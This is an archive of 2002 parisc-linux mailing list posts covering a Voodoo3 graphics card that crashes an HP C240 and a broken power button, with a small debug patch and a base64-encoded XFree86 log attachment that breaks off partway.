NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:17:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65DC24837
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:16:48 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id UAA03676
	for <parisc-linux@lists.parisc-linux.org>; Tue, 2 Jul 2002 20:16:55 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15283

Hi,

I just tested a Voodoo3 3000 (PCI, 16MB SGRAM, universal PCI signaling)
in my C240 without success.

Obviously I can't use the Linux-FB drivers since they expect that the
graphics card was initialized by a PC BIOS. Therefore I (re)compiled -pa45
(32bit, PA8000, unofficial modutils-deb; thanks Grant!) without STIcon,
STI-fb or any other Framebuffer device.

I took out the Visualize-FX2 (in a PCI 64bit slot) and replaced it with
the Voodoo. After a reboot I could see the Voodoo card in /proc (device
PCI:1:4:0), and even X -scanpci found it. Unfortunately when trying to
start X it reported an error (attached: XFree86.0.log, pci64.txt).

Therefore I put the Voodoo card into a 'normal' PCI (32bit) slot. The
device is now PCI:0:3:0, the IO-ports changed and now XFree seemed to
be able to use it (X -probeonly worked), but whenever I started X it
crashed and the Monitor remained dark. Not only X crashes (at a random
point at initialization), but it causes a HPMC (attached files: hpmc.txt,
hpmc2.txt, pci.txt).

Since the Voodoo is found by the kernel and XFree86, it seems that this
card is h/w compatible, but there is some (hopefully small) software issue
that prevents it from working correctly.

Does anybody have a hint what's going wrong here ?
Or does anybody have a (PC, non-HP) PCI card that works on Linux/PARISC ?
Why is the card not working in a 64bit slot ?

Thanks in advance for your answers,

greetings max


PS: if I can't use the Voodoo in my HP, I'll put it in my Alpha ...




From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 21:20:31 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <C6BD5884-8DF0-11D6-A95C-0030656F07A2@esiee.fr>
References: <Pine.LNX.4.21.0207022058510.32706-100000@reactor.hyte.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621454 9836 80.91.229.3 (22 Nov 2014 01:57:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:34 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Joachim Steiger <roh@hyte.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:20:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8BEF4839
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:20:42 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 0675F49C5C; Tue,  2 Jul 2002 21:20:32 +0200 (CEST)
In-Reply-To: <Pine.LNX.4.21.0207022058510.32706-100000@reactor.hyte.de>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15284

Le mardi 2 juillet 2002, =E0 09:03 , Joachim Steiger a =E9crit :
>
> i'm running
> Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16
>
AFAICR,  2.4.17 soft power switch support was not worse being=20
mentionned :)
It was somehow at a *very* early dev stage...

Try with a 2.4.18 kernel...



Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 15:21:47 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20020702192147.GC3678@systemhalted>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621454 9837 80.91.229.3 (22 Nov 2014 01:57:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:34 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:21:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32E4D486A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:21:46 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17PTDf-00011F-00; Tue, 02 Jul 2002 15:21:47 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020702190842.GR25586@charite.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (9% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15285

> > Okie. Time to ask questions.
> > What toolchain did you use to build your kernel?
> 
> Toolchain?
> I'm running Debian unstable on the box and built it directly on the
> box, using make-kpkg (as usual)
> 

Excellent. This means you are using the toolchain provided
by debian (and not rolling your own... some of us are doing this
and I wanted to clarify your position).

I'm not running any PARISC boxes in unstable (although I'm going
to so I can test stuff like this)... so could you tell me the 
version of your compilier and linker?

# gcc -v
# ld -v

Things can and will go wrong... but debugging info always helps :)
Trying to segregate toolchain issues is going to be my new quest.

As Willy said "I'm so happy to see someone interested in toolchain
work!" ;)

If you could apply the following patch and test your power button
again:

--- ./arch/parisc/kernel/power.c     Tue Jul  2 15:17:59 2002
+++ ./arch/parisc/kernel/power.c     Tue Jul  2 15:18:12 2002
@@ -55,6 +55,7 @@
 #include <asm/led.h>
 #include <asm/uaccess.h>

+#define DEBUG

 #ifdef DEBUG
 # define DPRINTK(x) printk x



From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C240 and PCI (PC) graphics card (attached files)
Date: Tue, 2 Jul 2002 20:22:15 +0100 (IST)
Lines: 533
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207022018060.16680-600000@sal.ucc.ie>
References: <Pine.LNX.4.44.0207021953230.16680-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-275789367-806371304-1025637735=:16680"
X-Trace: ger.gmane.org 1416621455 9843 80.91.229.3 (22 Nov 2014 01:57:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:22:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D69B486E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:22:17 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id UAA25959
	for <parisc-linux@lists.parisc-linux.org>; Tue, 2 Jul 2002 20:22:24 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.44.0207021953230.16680-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15286

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-806371304-1025637735=:16680
Content-Type: TEXT/PLAIN; charset=US-ASCII

Sorry, I just forgot to attach the files

Thanks max

---275789367-806371304-1025637735=:16680
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="XFree86.0.log"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0207022022150.16680@sal.ucc.ie>
Content-Description: Voodoo3 in 64bit slot causes XFree error
Content-Disposition: attachment; filename="XFree86.0.log"

DQpUaGlzIGlzIGEgcHJlLXJlbGVhc2UgdmVyc2lvbiBvZiBYRnJlZTg2LCBh
bmQgaXMgbm90IHN1cHBvcnRlZCBpbiBhbnkNCndheS4gIEJ1Z3MgbWF5IGJl
IHJlcG9ydGVkIHRvIFhGcmVlODZAWEZyZWU4Ni5PcmcgYW5kIHBhdGNoZXMg
c3VibWl0dGVkDQp0byBmaXhlc0BYRnJlZTg2Lk9yZy4gIEJlZm9yZSByZXBv
cnRpbmcgYnVncyBpbiBwcmUtcmVsZWFzZSB2ZXJzaW9ucywNCnBsZWFzZSBj
aGVjayB0aGUgbGF0ZXN0IHZlcnNpb24gaW4gdGhlIFhGcmVlODYgQ1ZTIHJl
cG9zaXRvcnkNCihodHRwOi8vd3d3LlhGcmVlODYuT3JnL2N2cykNCg0KWEZy
ZWU4NiBWZXJzaW9uIDQuMS4wLjEgLyBYIFdpbmRvdyBTeXN0ZW0NCihwcm90
b2NvbCBWZXJzaW9uIDExLCByZXZpc2lvbiAwLCB2ZW5kb3IgcmVsZWFzZSA2
NTEwKQ0KUmVsZWFzZSBEYXRlOiAyMSBEZWNlbWJlciAyMDAxDQoJSWYgdGhl
IHNlcnZlciBpcyBvbGRlciB0aGFuIDYtMTIgbW9udGhzLCBvciBpZiB5b3Vy
IGNhcmQgaXMNCgluZXdlciB0aGFuIHRoZSBhYm92ZSBkYXRlLCBsb29rIGZv
ciBhIG5ld2VyIHZlcnNpb24gYmVmb3JlDQoJcmVwb3J0aW5nIHByb2JsZW1z
LiAgKFNlZSBodHRwOi8vd3d3LlhGcmVlODYuT3JnL0ZBUSkNCkJ1aWxkIE9w
ZXJhdGluZyBTeXN0ZW06IExpbnV4IDIuNC4xNi02NCBwYXJpc2M2NCBbRUxG
XSANCig9PSkgTG9nIGZpbGU6ICIvdmFyL2xvZy9YRnJlZTg2LjAubG9nIiwg
VGltZTogVHVlIEp1bCAgMiAwMzo0Nzo0MiAyMDAyDQooPT0pIFVzaW5nIGNv
bmZpZyBmaWxlOiAiL2V0Yy9YMTEvWEY4NkNvbmZpZy00Ig0KTWFya2Vyczog
KC0tKSBwcm9iZWQsICgqKikgZnJvbSBjb25maWcgZmlsZSwgKD09KSBkZWZh
dWx0IHNldHRpbmcsDQogICAgICAgICAoKyspIGZyb20gY29tbWFuZCBsaW5l
LCAoISEpIG5vdGljZSwgKElJKSBpbmZvcm1hdGlvbmFsLA0KICAgICAgICAg
KFdXKSB3YXJuaW5nLCAoRUUpIGVycm9yLCAoTkkpIG5vdCBpbXBsZW1lbnRl
ZCwgKD8/KSB1bmtub3duLg0KKD09KSBTZXJ2ZXJMYXlvdXQgIkRlZmF1bHQg
TGF5b3V0Ig0KKCoqKSB8LS0+U2NyZWVuICJEZWZhdWx0IFNjcmVlbiIgKDAp
DQooKiopIHwgICB8LS0+TW9uaXRvciAiR2VuZXJpYyBNb25pdG9yIg0KKCoq
KSB8ICAgfC0tPkRldmljZSAiVm9vZG9vMyAzMDAwIFBDSSAxNk1CIFNHUkFN
Ig0KKCoqKSB8LS0+SW5wdXQgRGV2aWNlICJHZW5lcmljIEtleWJvYXJkIg0K
KCoqKSBPcHRpb24gIlhrYlJ1bGVzIiAieGZyZWU4NiINCigqKikgWEtCOiBy
dWxlczogInhmcmVlODYiDQooKiopIE9wdGlvbiAiWGtiTW9kZWwiICJwYzEw
NSINCigqKikgWEtCOiBtb2RlbDogInBjMTA1Ig0KKCoqKSBPcHRpb24gIlhr
YkxheW91dCIgImdiIg0KKCoqKSBYS0I6IGxheW91dDogImdiIg0KKD09KSBL
ZXlib2FyZDogQ3VzdG9tS2V5Y29kZSBkaXNhYmxlZA0KKCoqKSB8LS0+SW5w
dXQgRGV2aWNlICJDb25maWd1cmVkIE1vdXNlIg0KKCoqKSBGb250UGF0aCBz
ZXQgdG8gInVuaXgvOjcxMDAsL3Vzci9saWIvWDExL2ZvbnRzL21pc2MsL3Vz
ci9saWIvWDExL2ZvbnRzL2N5cmlsbGljLC91c3IvbGliL1gxMS9mb250cy8x
MDBkcGkvOnVuc2NhbGVkLC91c3IvbGliL1gxMS9mb250cy83NWRwaS86dW5z
Y2FsZWQsL3Vzci9saWIvWDExL2ZvbnRzL1R5cGUxLC91c3IvbGliL1gxMS9m
b250cy9TcGVlZG8sL3Vzci9saWIvWDExL2ZvbnRzLzEwMGRwaSwvdXNyL2xp
Yi9YMTEvZm9udHMvNzVkcGkiDQooPT0pIFJnYlBhdGggc2V0IHRvICIvdXNy
L1gxMVI2L2xpYi9YMTEvcmdiIg0KKC0tKSB1c2luZyBWVCBudW1iZXIgMg0K
DQooV1cpIENhbm5vdCBvcGVuIEFQTQ0KKElJKSBQQ0k6IFBDSSBzY2FuIChh
bGwgdmFsdWVzIGFyZSBpbiBoZXgpDQooSUkpIFBDSTogMDA6MTM6MDogY2hp
cCAxMDAwLDAwMGYgY2FyZCAwMDAwLDAwMDAgcmV2IDA0IGNsYXNzIDAxLDAw
LDAwIGhkciAwMA0KKElJKSBQQ0k6IDAwOjE0OjA6IGNoaXAgMTAxMSwwMDE5
IGNhcmQgMTAzYywxMDRmIHJldiAzMCBjbGFzcyAwMiwwMCwwMCBoZHIgMDAN
CihJSSkgUENJOiAwMTowNDowOiBjaGlwIDEyMWEsMDAwNSBjYXJkIDEyMWEs
MDA1NyByZXYgMDEgY2xhc3MgMDMsMDAsMDAgaGRyIDAwDQooSUkpIFBDSTog
RW5kIG9mIFBDSSBzY2FuDQooSUkpIEhvc3QtdG8tUENJIGJyaWRnZToNCihJ
SSkgSG9zdC10by1QQ0kgYnJpZGdlOg0KKElJKSBCdXMgMDogYnJpZGdlIGlz
IGF0ICgwOjA6MCksICgtMSwwLDApLCBCQ1RSTDogMHgwMCAoVkdBX0VOIGlz
IGNsZWFyZWQpDQooSUkpIEJ1cyAwIEkvTyByYW5nZToNCglbMF0gLTEgMAkw
eDAwMDAwMDAwIC0gMHgwMDAwZmZmZiAoMHgxMDAwMCkgSVhbQl0NCihJSSkg
QnVzIDAgbm9uLXByZWZldGNoYWJsZSBtZW1vcnkgcmFuZ2U6DQoJWzBdIC0x
IDAJMHgwMDAwMDAwMCAtIDB4ZmZmZmZmZmYgKDB4MCkgTVhbQl0NCihJSSkg
QnVzIDAgcHJlZmV0Y2hhYmxlIG1lbW9yeSByYW5nZToNCglbMF0gLTEgMAkw
eDAwMDAwMDAwIC0gMHhmZmZmZmZmZiAoMHgwKSBNWFtCXQ0KKElJKSBCdXMg
MTogYnJpZGdlIGlzIGF0ICgwOjA6MCksICgtMSwxLDApLCBCQ1RSTDogMHgw
MCAoVkdBX0VOIGlzIGNsZWFyZWQpDQooSUkpIEJ1cyAxIEkvTyByYW5nZToN
CglbMF0gLTEgMAkweDAwMDAwMDAwIC0gMHgwMDAwZmZmZiAoMHgxMDAwMCkg
SVhbQl0NCihJSSkgQnVzIDEgbm9uLXByZWZldGNoYWJsZSBtZW1vcnkgcmFu
Z2U6DQoJWzBdIC0xIDAJMHgwMDAwMDAwMCAtIDB4ZmZmZmZmZmYgKDB4MCkg
TVhbQl0NCihJSSkgQnVzIDEgcHJlZmV0Y2hhYmxlIG1lbW9yeSByYW5nZToN
CglbMF0gLTEgMAkweDAwMDAwMDAwIC0gMHhmZmZmZmZmZiAoMHgwKSBNWFtC
XQ0KKC0tKSBQQ0k6ICgxOjQ6MCkgM2RmeCBJbnRlcmFjdGl2ZSBWb29kb28z
IHJldiAxLCBNZW0gQCAweGY2MDAwMDAwLzI1LCAweGY4MDAwMDAwLzI1LCBJ
L08gQCAweGZmMDAvOCwgQklPUyBAIDB4ZjFmZjAwMDAvMTYNCihJSSkgQWRk
cmVzc2FibGUgYnVzIHJlc291cmNlIHJhbmdlcyBhcmUNCglbMF0gLTEgMAkw
eDAwMDAwMDAwIC0gMHhmZmZmZmZmZiAoMHgwKSBNWFtCXQ0KCVsxXSAtMSAw
CTB4MDAwMDAwMDAgLSAweDAwMDBmZmZmICgweDEwMDAwKSBJWFtCXQ0KKElJ
KSBPUy1yZXBvcnRlZCByZXNvdXJjZSByYW5nZXM6DQoJWzBdIC0xIDAJMHhm
ZmZmZmZmZiAtIDB4ZmZmZmZmZmYgKDB4MSkgTVhbQl0NCglbMV0gLTEgMAkw
eDAwMDAwMDAwIC0gMHgwMDAwMDAwMCAoMHgxKSBNWFtCXQ0KCVsyXSAtMSAw
CTB4MDAwMGZmZmYgLSAweDAwMDBmZmZmICgweDEpIElYW0JdDQoJWzNdIC0x
IDAJMHgwMDAwMDAwMCAtIDB4MDAwMDAwMDAgKDB4MSkgSVhbQl0NCihJSSkg
QWN0aXZlIFBDSSByZXNvdXJjZSByYW5nZXM6DQoJWzBdIC0xIDAJMHhmMmZm
ZjAwMCAtIDB4ZjJmZmYwN2YgKDB4ODApIE1YW0JdDQoJWzFdIC0xIDAJMHhm
MmZmZTAwMCAtIDB4ZjJmZmVmZmYgKDB4MTAwMCkgTVhbQl0NCglbMl0gLTEg
MAkweGYyZmZkMDAwIC0gMHhmMmZmZDBmZiAoMHgxMDApIE1YW0JdDQoJWzNd
IC0xIDAJMHhmMWZmMDAwMCAtIDB4ZjFmZmZmZmYgKDB4MTAwMDApIE1YW0Jd
KEIpDQoJWzRdIC0xIDAJMHhmODAwMDAwMCAtIDB4ZjlmZmZmZmYgKDB4MjAw
MDAwMCkgTVhbQl0oQikNCglbNV0gLTEgMAkweGY2MDAwMDAwIC0gMHhmN2Zm
ZmZmZiAoMHgyMDAwMDAwKSBNWFtCXShCKQ0KCVs2XSAtMSAwCTB4MDAwMGZm
MDAgLSAweDAwMDBmZjdmICgweDgwKSBJWFtCXQ0KCVs3XSAtMSAwCTB4MDAw
MGZlMDAgLSAweDAwMDBmZWZmICgweDEwMCkgSVhbQl0NCglbOF0gLTEgMAkw
eDAwMDBmZjAwIC0gMHgwMDAwZmZmZiAoMHgxMDApIElYW0JdKEIpDQooSUkp
IEFjdGl2ZSBQQ0kgcmVzb3VyY2UgcmFuZ2VzIGFmdGVyIHJlbW92aW5nIG92
ZXJsYXBzOg0KCVswXSAtMSAwCTB4ZjJmZmYwMDAgLSAweGYyZmZmMDdmICgw
eDgwKSBNWFtCXQ0KCVsxXSAtMSAwCTB4ZjJmZmUwMDAgLSAweGYyZmZlZmZm
ICgweDEwMDApIE1YW0JdDQoJWzJdIC0xIDAJMHhmMmZmZDAwMCAtIDB4ZjJm
ZmQwZmYgKDB4MTAwKSBNWFtCXQ0KCVszXSAtMSAwCTB4ZjFmZjAwMDAgLSAw
eGYxZmZmZmZmICgweDEwMDAwKSBNWFtCXShCKQ0KCVs0XSAtMSAwCTB4Zjgw
MDAwMDAgLSAweGY5ZmZmZmZmICgweDIwMDAwMDApIE1YW0JdKEIpDQoJWzVd
IC0xIDAJMHhmNjAwMDAwMCAtIDB4ZjdmZmZmZmYgKDB4MjAwMDAwMCkgTVhb
Ql0oQikNCglbNl0gLTEgMAkweDAwMDBmZjAwIC0gMHgwMDAwZmY3ZiAoMHg4
MCkgSVhbQl0NCglbN10gLTEgMAkweDAwMDBmZTAwIC0gMHgwMDAwZmVmZiAo
MHgxMDApIElYW0JdDQoJWzhdIC0xIDAJMHgwMDAwZmYwMCAtIDB4MDAwMGZm
ZmYgKDB4MTAwKSBJWFtCXShCKQ0KKElJKSBPUy1yZXBvcnRlZCByZXNvdXJj
ZSByYW5nZXMgYWZ0ZXIgcmVtb3Zpbmcgb3ZlcmxhcHMgd2l0aCBQQ0k6DQoJ
WzBdIC0xIDAJMHhmZmZmZmZmZiAtIDB4ZmZmZmZmZmYgKDB4MSkgTVhbQl0N
CglbMV0gLTEgMAkweDAwMDAwMDAwIC0gMHgwMDAwMDAwMCAoMHgxKSBNWFtC
XQ0KCVsyXSAtMSAwCTB4MDAwMGZmZmYgLSAweDAwMDBmZmZmICgweDEpIElY
W0JdDQoJWzNdIC0xIDAJMHgwMDAwMDAwMCAtIDB4MDAwMDAwMDAgKDB4MSkg
SVhbQl0NCihJSSkgQWxsIHN5c3RlbSByZXNvdXJjZSByYW5nZXM6DQoJWzBd
IC0xIDAJMHhmZmZmZmZmZiAtIDB4ZmZmZmZmZmYgKDB4MSkgTVhbQl0NCglb
MV0gLTEgMAkweDAwMDAwMDAwIC0gMHgwMDAwMDAwMCAoMHgxKSBNWFtCXQ0K
CVsyXSAtMSAwCTB4ZjJmZmYwMDAgLSAweGYyZmZmMDdmICgweDgwKSBNWFtC
XQ0KCVszXSAtMSAwCTB4ZjJmZmUwMDAgLSAweGYyZmZlZmZmICgweDEwMDAp
IE1YW0JdDQoJWzRdIC0xIDAJMHhmMmZmZDAwMCAtIDB4ZjJmZmQwZmYgKDB4
MTAwKSBNWFtCXQ0KCVs1XSAtMSAwCTB4ZjFmZjAwMDAgLSAweGYxZmZmZmZm
ICgweDEwMDAwKSBNWFtCXShCKQ0KCVs2XSAtMSAwCTB4ZjgwMDAwMDAgLSAw
eGY5ZmZmZmZmICgweDIwMDAwMDApIE1YW0JdKEIpDQoJWzddIC0xIDAJMHhm
NjAwMDAwMCAtIDB4ZjdmZmZmZmYgKDB4MjAwMDAwMCkgTVhbQl0oQikNCglb
OF0gLTEgMAkweDAwMDBmZmZmIC0gMHgwMDAwZmZmZiAoMHgxKSBJWFtCXQ0K
CVs5XSAtMSAwCTB4MDAwMDAwMDAgLSAweDAwMDAwMDAwICgweDEpIElYW0Jd
DQoJWzEwXSAtMSAwCTB4MDAwMGZmMDAgLSAweDAwMDBmZjdmICgweDgwKSBJ
WFtCXQ0KCVsxMV0gLTEgMAkweDAwMDBmZTAwIC0gMHgwMDAwZmVmZiAoMHgx
MDApIElYW0JdDQoJWzEyXSAtMSAwCTB4MDAwMGZmMDAgLSAweDAwMDBmZmZm
ICgweDEwMCkgSVhbQl0oQikNCihJSSkgTUdBOiBkcml2ZXIgZm9yIE1hdHJv
eCBjaGlwc2V0czogbWdhMjA2NHcsIG1nYTEwNjRzZywgbWdhMjE2NHcsDQoJ
bWdhMjE2NHcgQUdQLCBtZ2FnMTAwLCBtZ2FnMTAwIFBDSSwgbWdhZzIwMCwg
bWdhZzIwMCBQQ0ksIG1nYWc0MDANCihJSSkgR0xJTlQ6IGRyaXZlciBmb3Ig
M0RsYWJzIGNoaXBzZXRzOiBnYW1tYSwgdGlfcG0yLCB0aV9wbSwgcG0zLCBw
bTJ2LA0KCXBtMiwgcG0sIDMwMHN4LCA1MDB0eCwgbXgsIGRlbHRhDQoJUzNW
SWRlbnRpZnkNCihJSSkgUzNWSVJHRTogZHJpdmVyICh2ZXJzaW9uIDEuNi4x
MykgZm9yIFMzIFZpUkdFIGNoaXBzZXRzOiB2aXJnZSwgODZDMzI1LA0KCXZp
cmdlIHZ4LCA4NkM5ODgsIHZpcmdlIGR4LCB2aXJnZSBneCwgODZDMzc1LCA4
NkMzODUsIHZpcmdlIGd4MiwNCgk4NkMzNTcsIHZpcmdlIG14LCA4NkMyNjAs
IHZpcmdlIG14KywgODZDMjgwLCB0cmlvIDNkLCA4NkMzNjUsDQoJdHJpbyAz
ZC8yeCwgODZDMzYyLCA4NkMzNjgNCihJSSkgU0lTOiBkcml2ZXIgZm9yIFNp
UyBjaGlwc2V0czogU0lTNTU5NywgU0lTNTU5OCwgU0lTNTMwLCBTSVM2MzI2
LA0KCVNJUzMwMCwgU0lTNjMwLCBTSVM1NDANCihJSSkgU0FWQUdFOiBkcml2
ZXIgKHZlcnNpb24gMS4xLjE2KSBmb3IgUzMgU2F2YWdlIGNoaXBzZXRzOiBT
YXZhZ2U0LA0KCVNhdmFnZTNELCBTYXZhZ2UzRC1NViwgU2F2YWdlMjAwMCwg
U2F2YWdlL01YLU1WLCBTYXZhZ2UvTVgsDQoJU2F2YWdlL0lYLU1WLCBTYXZh
Z2UvSVgsIFByb1NhdmFnZSBQTTEzMywgUHJvU2F2YWdlIEtNMTMzLCBUd2lz
dGVyLA0KCVR3aXN0ZXJLDQooSUkpIFRSSURFTlQ6IGRyaXZlciBmb3IgVHJp
ZGVudCBjaGlwc2V0czogdHZnYTg5MDBkLCBjeWJlcjkzMjAsIGN5YmVyOTM4
